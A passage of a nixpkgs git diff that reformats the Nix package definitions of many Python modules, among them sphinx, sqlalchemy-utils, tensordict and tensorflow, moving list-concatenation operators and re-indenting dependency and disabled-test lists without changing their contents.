+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ];
 
   __darwinAllowLocalNetworking = true;
 
@@ -104,54 +103,53 @@ buildPythonPackage rec {
     export HOME=$TMPDIR
   '';
 
-  disabledTests =
-    [
-      # requires network access
-      "test_latex_images"
-      # racy
-      "test_defaults"
-      "test_check_link_response_only"
-      "test_anchors_ignored_for_url"
-      "test_autodoc_default_options"
-      "test_too_many_requests_retry_after_int_delay"
-      # racy with pytest-xdist
-      "test_domain_cpp_build_semicolon"
-      "test_class_alias"
-      "test_class_alias_having_doccomment"
-      "test_class_alias_for_imported_object_having_doccomment"
-      "test_decorators"
-      # racy with too many threads
-      # https://github.com/NixOS/nixpkgs/issues/353176
-      "test_document_toc_only"
-      # Assertion error
-      "test_gettext_literalblock_additional"
-      # requires cython_0, but fails miserably on 3.11
-      "test_cython"
-      # Could not fetch remote image: http://localhost:7777/sphinx.png
-      "test_copy_images"
-      # ModuleNotFoundError: No module named 'fish_licence.halibut'
-      "test_import_native_module_stubs"
-      # Racy tex file creation
-      "test_literalinclude_namedlink_latex"
-      "test_literalinclude_caption_latex"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.12") [
-      # https://github.com/sphinx-doc/sphinx/issues/12430
-      "test_autodoc_type_aliases"
-    ]
-    ++ lib.optionals isPyPy [
-      # PyPy has not __builtins__ which get asserted
-      # https://doc.pypy.org/en/latest/cpython_differences.html#miscellaneous
-      "test_autosummary_generate_content_for_module"
-      "test_autosummary_generate_content_for_module_skipped"
-      # internals are asserted which are sightly different in PyPy
-      "test_autodoc_inherited_members_None"
-      "test_automethod_for_builtin"
-      "test_builtin_function"
-      "test_isattributedescriptor"
-      "test_methoddescriptor"
-      "test_partialfunction"
-    ];
+  disabledTests = [
+    # requires network access
+    "test_latex_images"
+    # racy
+    "test_defaults"
+    "test_check_link_response_only"
+    "test_anchors_ignored_for_url"
+    "test_autodoc_default_options"
+    "test_too_many_requests_retry_after_int_delay"
+    # racy with pytest-xdist
+    "test_domain_cpp_build_semicolon"
+    "test_class_alias"
+    "test_class_alias_having_doccomment"
+    "test_class_alias_for_imported_object_having_doccomment"
+    "test_decorators"
+    # racy with too many threads
+    # https://github.com/NixOS/nixpkgs/issues/353176
+    "test_document_toc_only"
+    # Assertion error
+    "test_gettext_literalblock_additional"
+    # requires cython_0, but fails miserably on 3.11
+    "test_cython"
+    # Could not fetch remote image: http://localhost:7777/sphinx.png
+    "test_copy_images"
+    # ModuleNotFoundError: No module named 'fish_licence.halibut'
+    "test_import_native_module_stubs"
+    # Racy tex file creation
+    "test_literalinclude_namedlink_latex"
+    "test_literalinclude_caption_latex"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [
+    # https://github.com/sphinx-doc/sphinx/issues/12430
+    "test_autodoc_type_aliases"
+  ]
+  ++ lib.optionals isPyPy [
+    # PyPy has not __builtins__ which get asserted
+    # https://doc.pypy.org/en/latest/cpython_differences.html#miscellaneous
+    "test_autosummary_generate_content_for_module"
+    "test_autosummary_generate_content_for_module_skipped"
+    # internals are asserted which are sightly different in PyPy
+    "test_autodoc_inherited_members_None"
+    "test_automethod_for_builtin"
+    "test_builtin_function"
+    "test_isattributedescriptor"
+    "test_methoddescriptor"
+    "test_partialfunction"
+  ];
 
   passthru.tests = {
     inherit breathe;
diff --git a/pkgs/development/python-modules/sphinxcontrib-bibtex/default.nix b/pkgs/development/python-modules/sphinxcontrib-bibtex/default.nix
index 377682ae2529..da26bbb2667d 100644
--- a/pkgs/development/python-modules/sphinxcontrib-bibtex/default.nix
+++ b/pkgs/development/python-modules/sphinxcontrib-bibtex/default.nix
@@ -30,17 +30,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      docutils
-      oset
-      pybtex
-      pybtex-docutils
-      sphinx
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      importlib-metadata
-    ];
+  dependencies = [
+    docutils
+    oset
+    pybtex
+    pybtex-docutils
+    sphinx
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    importlib-metadata
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/sphinxcontrib-spelling/default.nix b/pkgs/development/python-modules/sphinxcontrib-spelling/default.nix
index fe9adf17db31..f0cbe1d2c228 100644
--- a/pkgs/development/python-modules/sphinxcontrib-spelling/default.nix
+++ b/pkgs/development/python-modules/sphinxcontrib-spelling/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     sphinx
     pyenchant
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   # No tests included
   doCheck = false;
diff --git a/pkgs/development/python-modules/sphinxext-opengraph/default.nix b/pkgs/development/python-modules/sphinxext-opengraph/default.nix
index ab3fea4eb8fa..2f2d76bd9913 100644
--- a/pkgs/development/python-modules/sphinxext-opengraph/default.nix
+++ b/pkgs/development/python-modules/sphinxext-opengraph/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     beautifulsoup4
-  ] ++ optional-dependencies.social_cards_generation;
+  ]
+  ++ optional-dependencies.social_cards_generation;
 
   pythonImportsCheck = [ "sphinxext.opengraph" ];
 
diff --git a/pkgs/development/python-modules/splinter/default.nix b/pkgs/development/python-modules/splinter/default.nix
index 8ceac913de9e..b63e1876e002 100644
--- a/pkgs/development/python-modules/splinter/default.nix
+++ b/pkgs/development/python-modules/splinter/default.nix
@@ -54,7 +54,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTests = [
     # driver is present and fails with a different error during loading
diff --git a/pkgs/development/python-modules/spyder/default.nix b/pkgs/development/python-modules/spyder/default.nix
index 057a3e17600e..7f9d22f2802b 100644
--- a/pkgs/development/python-modules/spyder/default.nix
+++ b/pkgs/development/python-modules/spyder/default.nix
@@ -122,7 +122,8 @@ buildPythonPackage rec {
     three-merge
     watchdog
     yarl
-  ] ++ python-lsp-server.optional-dependencies.all;
+  ]
+  ++ python-lsp-server.optional-dependencies.all;
 
   # There is no test for spyder
   doCheck = false;
diff --git a/pkgs/development/python-modules/sqlalchemy-continuum/default.nix b/pkgs/development/python-modules/sqlalchemy-continuum/default.nix
index 501486e5059b..0518e68135b3 100644
--- a/pkgs/development/python-modules/sqlalchemy-continuum/default.nix
+++ b/pkgs/development/python-modules/sqlalchemy-continuum/default.nix
@@ -42,15 +42,14 @@ buildPythonPackage rec {
     i18n = [ sqlalchemy-i18n ];
   };
 
-  nativeCheckInputs =
-    [
-      psycopg2
-      pymysql
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.flask
-    ++ optional-dependencies.flask-login
-    ++ optional-dependencies.flask-sqlalchemy;
+  nativeCheckInputs = [
+    psycopg2
+    pymysql
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.flask
+  ++ optional-dependencies.flask-login
+  ++ optional-dependencies.flask-sqlalchemy;
 
   disabledTestPaths = [
     # requires sqlalchemy-i18n, which is incompatible with sqlalchemy>=2
diff --git a/pkgs/development/python-modules/sqlalchemy-utils/default.nix b/pkgs/development/python-modules/sqlalchemy-utils/default.nix
index 4e0370f9c44b..534560718ff7 100644
--- a/pkgs/development/python-modules/sqlalchemy-utils/default.nix
+++ b/pkgs/development/python-modules/sqlalchemy-utils/default.nix
@@ -62,35 +62,33 @@ buildPythonPackage rec {
     encrypted = [ cryptography ];
   };
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
-      pygments
-      jinja2
-      docutils
-      flexmock
-      psycopg2
-      pg8000
-      pytz
-      python-dateutil
-      pymysql
-      pyodbc
-    ]
-    ++ lib.flatten (builtins.attrValues optional-dependencies)
-    ++ lib.optionals (pythonOlder "3.12") [
-      # requires distutils, which were removed in 3.12
-      psycopg2cffi
-    ];
+  nativeCheckInputs = [
+    pytestCheckHook
+    pygments
+    jinja2
+    docutils
+    flexmock
+    psycopg2
+    pg8000
+    pytz
+    python-dateutil
+    pymysql
+    pyodbc
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies)
+  ++ lib.optionals (pythonOlder "3.12") [
+    # requires distutils, which were removed in 3.12
+    psycopg2cffi
+  ];
 
-  disabledTests =
-    [
-      "test_create_database_twice"
-      "test_create_and_drop"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # https://github.com/kvesteri/sqlalchemy-utils/issues/764
-      "test_render_mock_ddl"
-    ];
+  disabledTests = [
+    "test_create_database_twice"
+    "test_create_and_drop"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # https://github.com/kvesteri/sqlalchemy-utils/issues/764
+    "test_render_mock_ddl"
+  ];
 
   pytestFlagsArray = [
     "-W"
diff --git a/pkgs/development/python-modules/sqlalchemy/1_4.nix b/pkgs/development/python-modules/sqlalchemy/1_4.nix
index 2384a4f0c056..d46a9bd691ca 100644
--- a/pkgs/development/python-modules/sqlalchemy/1_4.nix
+++ b/pkgs/development/python-modules/sqlalchemy/1_4.nix
@@ -77,7 +77,8 @@ buildPythonPackage rec {
     aiosqlite = [
       aiosqlite
       typing-extensions
-    ] ++ self.asyncio;
+    ]
+    ++ self.asyncio;
     sqlcipher = [
       # TODO: sqlcipher3
     ];
diff --git a/pkgs/development/python-modules/sqlfmt/default.nix b/pkgs/development/python-modules/sqlfmt/default.nix
index 707b5619d9d0..49bfd2a4a202 100644
--- a/pkgs/development/python-modules/sqlfmt/default.nix
+++ b/pkgs/development/python-modules/sqlfmt/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/development/python-modules/sshfs/default.nix b/pkgs/development/python-modules/sshfs/default.nix
index c9724a63a82f..c8b72c32eb32 100644
--- a/pkgs/development/python-modules/sshfs/default.nix
+++ b/pkgs/development/python-modules/sshfs/default.nix
@@ -54,15 +54,14 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # Test requires network access
-      "test_config_expansions"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Test fails with sandbox enabled
-      "test_checksum"
-    ];
+  disabledTests = [
+    # Test requires network access
+    "test_config_expansions"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Test fails with sandbox enabled
+    "test_checksum"
+  ];
 
   pythonImportsCheck = [ "sshfs" ];
 
diff --git a/pkgs/development/python-modules/starlette-admin/default.nix b/pkgs/development/python-modules/starlette-admin/default.nix
index 5ff77b3a6488..7c265af5eec2 100644
--- a/pkgs/development/python-modules/starlette-admin/default.nix
+++ b/pkgs/development/python-modules/starlette-admin/default.nix
@@ -118,20 +118,19 @@ buildPythonPackage rec {
     "test_api"
   ];
 
-  disabledTestPaths =
-    [
-      # odmantic is not packaged
-      "tests/odmantic"
-      # needs mongodb running on port 27017
-      "tests/mongoengine"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # very flaky, sandbox issues?
-      # libcloud.storage.types.ContainerDoesNotExistError
-      # sqlite3.OperationalError: attempt to write a readonly database
-      "tests/sqla/test_sync_engine.py"
-      "tests/sqla/test_async_engine.py"
-    ];
+  disabledTestPaths = [
+    # odmantic is not packaged
+    "tests/odmantic"
+    # needs mongodb running on port 27017
+    "tests/mongoengine"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # very flaky, sandbox issues?
+    # libcloud.storage.types.ContainerDoesNotExistError
+    # sqlite3.OperationalError: attempt to write a readonly database
+    "tests/sqla/test_sync_engine.py"
+    "tests/sqla/test_async_engine.py"
+  ];
 
   pythonImportsCheck = [
     "starlette_admin"
diff --git a/pkgs/development/python-modules/starlette/default.nix b/pkgs/development/python-modules/starlette/default.nix
index d1fea7a44750..fc7f5392b29c 100644
--- a/pkgs/development/python-modules/starlette/default.nix
+++ b/pkgs/development/python-modules/starlette/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytestCheckHook
     trio
     typing-extensions
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
diff --git a/pkgs/development/python-modules/static3/default.nix b/pkgs/development/python-modules/static3/default.nix
index 13a41618feb3..607acca24a8a 100644
--- a/pkgs/development/python-modules/static3/default.nix
+++ b/pkgs/development/python-modules/static3/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     webtest
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = with lib; {
     changelog = "https://github.com/rmohr/static3/releases/tag/v${version}";
diff --git a/pkgs/development/python-modules/statmake/default.nix b/pkgs/development/python-modules/statmake/default.nix
index e9f0bd3b8ac5..f37751b2eb4b 100644
--- a/pkgs/development/python-modules/statmake/default.nix
+++ b/pkgs/development/python-modules/statmake/default.nix
@@ -31,16 +31,15 @@ buildPythonPackage rec {
 
   nativeBuildInputs = [ poetry-core ];
 
-  propagatedBuildInputs =
-    [
-      attrs
-      cattrs
-      fonttools
-      # required by fonttools[ufo]
-      fs
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ]
-    ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  propagatedBuildInputs = [
+    attrs
+    cattrs
+    fonttools
+    # required by fonttools[ufo]
+    fs
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ exceptiongroup ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/stm32loader/default.nix b/pkgs/development/python-modules/stm32loader/default.nix
index 10d5e35c6e2d..882316b4d531 100644
--- a/pkgs/development/python-modules/stm32loader/default.nix
+++ b/pkgs/development/python-modules/stm32loader/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [ "tests/unit" ];
 
diff --git a/pkgs/development/python-modules/strawberry-django/default.nix b/pkgs/development/python-modules/strawberry-django/default.nix
index 939ad2561e93..5e05936334f6 100644
--- a/pkgs/development/python-modules/strawberry-django/default.nix
+++ b/pkgs/development/python-modules/strawberry-django/default.nix
@@ -59,24 +59,23 @@ buildPythonPackage rec {
     enum = [ django-choices-field ];
   };
 
-  nativeCheckInputs =
-    [
-      pytestCheckHook
+  nativeCheckInputs = [
+    pytestCheckHook
 
-      django-guardian
-      django-mptt
-      django-polymorphic
-      django-tree-queries
-      factory-boy
-      pillow
-      psycopg2
-      pytest-cov-stub
-      pytest-django
-      pytest-mock
-      pytest-snapshot
-    ]
-    ++ optional-dependencies.debug-toolbar
-    ++ optional-dependencies.enum;
+    django-guardian
+    django-mptt
+    django-polymorphic
+    django-tree-queries
+    factory-boy
+    pillow
+    psycopg2
+    pytest-cov-stub
+    pytest-django
+    pytest-mock
+    pytest-snapshot
+  ]
+  ++ optional-dependencies.debug-toolbar
+  ++ optional-dependencies.enum;
 
   pythonImportsCheck = [ "strawberry_django" ];
 
diff --git a/pkgs/development/python-modules/strawberry-graphql/default.nix b/pkgs/development/python-modules/strawberry-graphql/default.nix
index 760f8ac7f913..52caeb41ba2e 100644
--- a/pkgs/development/python-modules/strawberry-graphql/default.nix
+++ b/pkgs/development/python-modules/strawberry-graphql/default.nix
@@ -138,7 +138,8 @@ buildPythonPackage rec {
     pytest-snapshot
     pytestCheckHook
     sanic-testing
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "strawberry" ];
 
diff --git a/pkgs/development/python-modules/streamlit/default.nix b/pkgs/development/python-modules/streamlit/default.nix
index 2908740e72b1..11ab93ba719e 100644
--- a/pkgs/development/python-modules/streamlit/default.nix
+++ b/pkgs/development/python-modules/streamlit/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     gitpython
     pydeck
     tornado
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ watchdog ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ watchdog ];
 
   # pypi package does not include the tests, but cannot be built with fetchFromGitHub
   doCheck = false;
diff --git a/pkgs/development/python-modules/sunpy/default.nix b/pkgs/development/python-modules/sunpy/default.nix
index 54a9a59accf7..ea166caf2c16 100644
--- a/pkgs/development/python-modules/sunpy/default.nix
+++ b/pkgs/development/python-modules/sunpy/default.nix
@@ -84,18 +84,17 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      hypothesis
-      pytest-astropy
-      pytest-mock
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.asdf
-    ++ optional-dependencies.database
-    ++ optional-dependencies.image
-    ++ optional-dependencies.net
-    ++ optional-dependencies.timeseries;
+  nativeCheckInputs = [
+    hypothesis
+    pytest-astropy
+    pytest-mock
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.asdf
+  ++ optional-dependencies.database
+  ++ optional-dependencies.image
+  ++ optional-dependencies.net
+  ++ optional-dependencies.timeseries;
 
   postPatch = ''
     substituteInPlace setup.cfg \
diff --git a/pkgs/development/python-modules/swh-objstorage/default.nix b/pkgs/development/python-modules/swh-objstorage/default.nix
index 6672a3054cdb..f03155b59660 100644
--- a/pkgs/development/python-modules/swh-objstorage/default.nix
+++ b/pkgs/development/python-modules/swh-objstorage/default.nix
@@ -101,7 +101,8 @@ buildPythonPackage rec {
     types-pyyaml
     types-requests
     util-linux
-  ] ++ psycopg.optional-dependencies.pool;
+  ]
+  ++ psycopg.optional-dependencies.pool;
 
   disabledTests = lib.optionals (stdenv.hostPlatform.isAarch64 && stdenv.hostPlatform.isLinux) [
     # FAILED swh/objstorage/tests/test_objstorage_winery.py::test_winery_leaky_bucket_tick - assert 1 == 0
diff --git a/pkgs/development/python-modules/swh-storage/default.nix b/pkgs/development/python-modules/swh-storage/default.nix
index 01806be6b4b8..a3eacef9837b 100644
--- a/pkgs/development/python-modules/swh-storage/default.nix
+++ b/pkgs/development/python-modules/swh-storage/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     swh-core
     swh-model
     swh-objstorage
-  ] ++ psycopg.optional-dependencies.pool;
+  ]
+  ++ psycopg.optional-dependencies.pool;
 
   pythonImportsCheck = [ "swh.storage" ];
 
diff --git a/pkgs/development/python-modules/swifter/default.nix b/pkgs/development/python-modules/swifter/default.nix
index c31b30be192b..5635f80f66af 100644
--- a/pkgs/development/python-modules/swifter/default.nix
+++ b/pkgs/development/python-modules/swifter/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
     psutil
     dask
     tqdm
-  ] ++ dask.optional-dependencies.dataframe;
+  ]
+  ++ dask.optional-dependencies.dataframe;
 
   optional-dependencies = {
     groupby = [ ray ];
diff --git a/pkgs/development/python-modules/synergy/default.nix b/pkgs/development/python-modules/synergy/default.nix
index 2a60f4b23e5c..ddd32baf85f3 100644
--- a/pkgs/development/python-modules/synergy/default.nix
+++ b/pkgs/development/python-modules/synergy/default.nix
@@ -43,19 +43,18 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # flaky: hypothesis.errors.FailedHealthCheck
-      "test_asymptotic_limits"
-      "test_inverse"
-      # AssertionError: synthetic_BRAID_reference_1.csv
-      #  E3=0 not in (0.10639582639915163, 1.6900177333904622)
-      "test_BRAID_fit_bootstrap"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # AssertionError: np.False_ is not true
-      "test_fit_loewe_antagonism"
-    ];
+  disabledTests = [
+    # flaky: hypothesis.errors.FailedHealthCheck
+    "test_asymptotic_limits"
+    "test_inverse"
+    # AssertionError: synthetic_BRAID_reference_1.csv
+    #  E3=0 not in (0.10639582639915163, 1.6900177333904622)
+    "test_BRAID_fit_bootstrap"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # AssertionError: np.False_ is not true
+    "test_fit_loewe_antagonism"
+  ];
 
   pythonImportsCheck = [ "synergy" ];
 
diff --git a/pkgs/development/python-modules/tabulate/default.nix b/pkgs/development/python-modules/tabulate/default.nix
index d0c635cc919c..ac3450f87e1e 100644
--- a/pkgs/development/python-modules/tabulate/default.nix
+++ b/pkgs/development/python-modules/tabulate/default.nix
@@ -32,7 +32,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = {
     description = "Pretty-print tabular data";
diff --git a/pkgs/development/python-modules/temporalio/default.nix b/pkgs/development/python-modules/temporalio/default.nix
index 63c45ee9f3f7..5383b2e1ffa0 100644
--- a/pkgs/development/python-modules/temporalio/default.nix
+++ b/pkgs/development/python-modules/temporalio/default.nix
@@ -53,7 +53,8 @@ buildPythonPackage rec {
     protobuf
     types-protobuf
     typing-extensions
-  ] ++ lib.optional (pythonOlder "3.11") python-dateutil;
+  ]
+  ++ lib.optional (pythonOlder "3.11") python-dateutil;
 
   nativeBuildInputs = [
     cargo
diff --git a/pkgs/development/python-modules/tensorboardx/default.nix b/pkgs/development/python-modules/tensorboardx/default.nix
index f5f658e2accf..866274409db8 100644
--- a/pkgs/development/python-modules/tensorboardx/default.nix
+++ b/pkgs/development/python-modules/tensorboardx/default.nix
@@ -55,18 +55,17 @@ buildPythonPackage rec {
     torchvision
   ];
 
-  disabledTests =
-    [
-      # ImportError: Visdom visualization requires installation of Visdom
-      "test_TorchVis"
-      # Requires network access (FileNotFoundError: [Errno 2] No such file or directory: 'wget')
-      "test_onnx_graph"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fails with a mysterious error in pytorch:
-      # RuntimeError: required keyword attribute 'name' has the wrong type
-      "test_pytorch_graph"
-    ];
+  disabledTests = [
+    # ImportError: Visdom visualization requires installation of Visdom
+    "test_TorchVis"
+    # Requires network access (FileNotFoundError: [Errno 2] No such file or directory: 'wget')
+    "test_onnx_graph"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fails with a mysterious error in pytorch:
+    # RuntimeError: required keyword attribute 'name' has the wrong type
+    "test_pytorch_graph"
+  ];
 
   disabledTestPaths = [
     # we are not interested in linting errors
diff --git a/pkgs/development/python-modules/tensordict/default.nix b/pkgs/development/python-modules/tensordict/default.nix
index b9cdacb54c29..a46246259a44 100644
--- a/pkgs/development/python-modules/tensordict/default.nix
+++ b/pkgs/development/python-modules/tensordict/default.nix
@@ -71,36 +71,34 @@ buildPythonPackage rec {
     pytestCheckHook
   ];
 
-  disabledTests =
-    [
-      # FileNotFoundError: [Errno 2] No such file or directory: '/build/source/tensordict/tensorclass.pyi
-      "test_tensorclass_instance_methods"
-      "test_tensorclass_stub_methods"
+  disabledTests = [
+    # FileNotFoundError: [Errno 2] No such file or directory: '/build/source/tensordict/tensorclass.pyi
+    "test_tensorclass_instance_methods"
+    "test_tensorclass_stub_methods"
 
-      # hangs forever on some CPUs
-      "test_map_iter_interrupt_early"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Hangs due to the use of a pool
-      "test_chunksize_num_chunks"
-      "test_index_with_generator"
-      "test_map_exception"
-      "test_map"
-      "test_multiprocessing"
-    ];
+    # hangs forever on some CPUs
+    "test_map_iter_interrupt_early"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Hangs due to the use of a pool
+    "test_chunksize_num_chunks"
+    "test_index_with_generator"
+    "test_map_exception"
+    "test_map"
+    "test_multiprocessing"
+  ];
 
-  disabledTestPaths =
-    [
-      # torch._dynamo.exc.Unsupported: Graph break due to unsupported builtin None.ReferenceType.__new__.
-      "test/test_compile.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Hangs forever
-      "test/test_distributed.py"
-      # Hangs after testing due to pool usage
-      "test/test_h5.py"
-      "test/test_memmap.py"
-    ];
+  disabledTestPaths = [
+    # torch._dynamo.exc.Unsupported: Graph break due to unsupported builtin None.ReferenceType.__new__.
+    "test/test_compile.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Hangs forever
+    "test/test_distributed.py"
+    # Hangs after testing due to pool usage
+    "test/test_h5.py"
+    "test/test_memmap.py"
+  ];
 
   meta = {
     description = "Pytorch dedicated tensor container";
diff --git a/pkgs/development/python-modules/tensorflow/bin.nix b/pkgs/development/python-modules/tensorflow/bin.nix
index 797c323cab37..aeebf48288ab 100644
--- a/pkgs/development/python-modules/tensorflow/bin.nix
+++ b/pkgs/development/python-modules/tensorflow/bin.nix
@@ -96,7 +96,8 @@ buildPythonPackage rec {
     termcolor
     typing-extensions
     wrapt
-  ] ++ lib.optional (!isPy3k) mock;
+  ]
+  ++ lib.optional (!isPy3k) mock;
 
   preConfigure = ''
     unset SOURCE_DATE_EPOCH
diff --git a/pkgs/development/python-modules/tensorflow/default.nix b/pkgs/development/python-modules/tensorflow/default.nix
index c9d3eb0ac79e..c27fca9ee8e8 100644
--- a/pkgs/development/python-modules/tensorflow/default.nix
+++ b/pkgs/development/python-modules/tensorflow/default.nix
@@ -303,40 +303,40 @@ let
       perl
       protobuf-core
       protobuf-extra
-    ] ++ lib.optional cudaSupport addDriverRunpath;
+    ]
+    ++ lib.optional cudaSupport addDriverRunpath;
 
-    buildInputs =
-      [
-        jemalloc
-        mpi
-        glibcLocales
-        git
+    buildInputs = [
+      jemalloc
+      mpi
+      glibcLocales
+      git
 
-        # libs taken from system through the TF_SYS_LIBS mechanism
-        abseil-cpp
-        boringssl
-        curl
-        double-conversion
-        flatbuffers-core
-        giflib
-        grpc
-        # Necessary to fix the "`GLIBCXX_3.4.30' not found" error
-        (icu.override { inherit stdenv; })
-        jsoncpp
-        libjpeg_turbo
-        libpng
-        (pybind11.overridePythonAttrs (_: {
-          inherit stdenv;
-        }))
-        snappy
-        sqlite
-      ]
-      ++ lib.optionals cudaSupport [
-        cudatoolkit
-        cudnnMerged
-      ]
-      ++ lib.optionals mklSupport [ mkl ]
-      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ nsync ];
+      # libs taken from system through the TF_SYS_LIBS mechanism
+      abseil-cpp
+      boringssl
+      curl
+      double-conversion
+      flatbuffers-core
+      giflib
+      grpc
+      # Necessary to fix the "`GLIBCXX_3.4.30' not found" error
+      (icu.override { inherit stdenv; })
+      jsoncpp
+      libjpeg_turbo
+      libpng
+      (pybind11.overridePythonAttrs (_: {
+        inherit stdenv;
+      }))
+      snappy
+      sqlite
+    ]
+    ++ lib.optionals cudaSupport [
+      cudatoolkit
+      cudnnMerged
+    ]
+    ++ lib.optionals mklSupport [ mkl ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ nsync ];
 
     # arbitrarily set to the current latest bazel version, overly careful
     TF_IGNORE_MAX_BAZEL_VERSION = true;
@@ -432,20 +432,20 @@ let
       ./protobuf_python.patch
       ./pybind11_protobuf_python_runtime_dep.patch
       ./pybind11_protobuf_newer_version.patch
-    ] ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-darwin") [ ./absl_to_std.patch ];
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-darwin") [ ./absl_to_std.patch ];
 
-    postPatch =
-      ''
-        # bazel 3.3 should work just as well as bazel 3.1
-        rm -f .bazelversion
-        patchShebangs .
-      ''
-      + lib.optionalString (!withTensorboard) ''
-        # Tensorboard pulls in a bunch of dependencies, some of which may
-        # include security vulnerabilities. So we make it optional.
-        # https://github.com/tensorflow/tensorflow/issues/20280#issuecomment-400230560
-        sed -i '/tensorboard ~=/d' tensorflow/tools/pip_package/setup.py
-      '';
+    postPatch = ''
+      # bazel 3.3 should work just as well as bazel 3.1
+      rm -f .bazelversion
+      patchShebangs .
+    ''
+    + lib.optionalString (!withTensorboard) ''
+      # Tensorboard pulls in a bunch of dependencies, some of which may
+      # include security vulnerabilities. So we make it optional.
+      # https://github.com/tensorflow/tensorflow/issues/20280#issuecomment-400230560
+      sed -i '/tensorboard ~=/d' tensorflow/tools/pip_package/setup.py
+    '';
 
     # https://github.com/tensorflow/tensorflow/pull/39470
     env.NIX_CFLAGS_COMPILE = toString [ "-Wno-stringop-truncation" ];
@@ -483,20 +483,19 @@ let
 
     hardeningDisable = [ "format" ];
 
-    bazelBuildFlags =
-      [
-        "--config=opt" # optimize using the flags set in the configure phase
-      ]
-      ++ lib.optionals stdenv.cc.isClang [
-        "--cxxopt=-x"
-        "--cxxopt=c++"
-        "--host_cxxopt=-x"
-        "--host_cxxopt=c++"
+    bazelBuildFlags = [
+      "--config=opt" # optimize using the flags set in the configure phase
+    ]
+    ++ lib.optionals stdenv.cc.isClang [
+      "--cxxopt=-x"
+      "--cxxopt=c++"
+      "--host_cxxopt=-x"
+      "--host_cxxopt=c++"
 
-        # workaround for https://github.com/bazelbuild/bazel/issues/15359
-        "--spawn_strategy=sandboxed"
-      ]
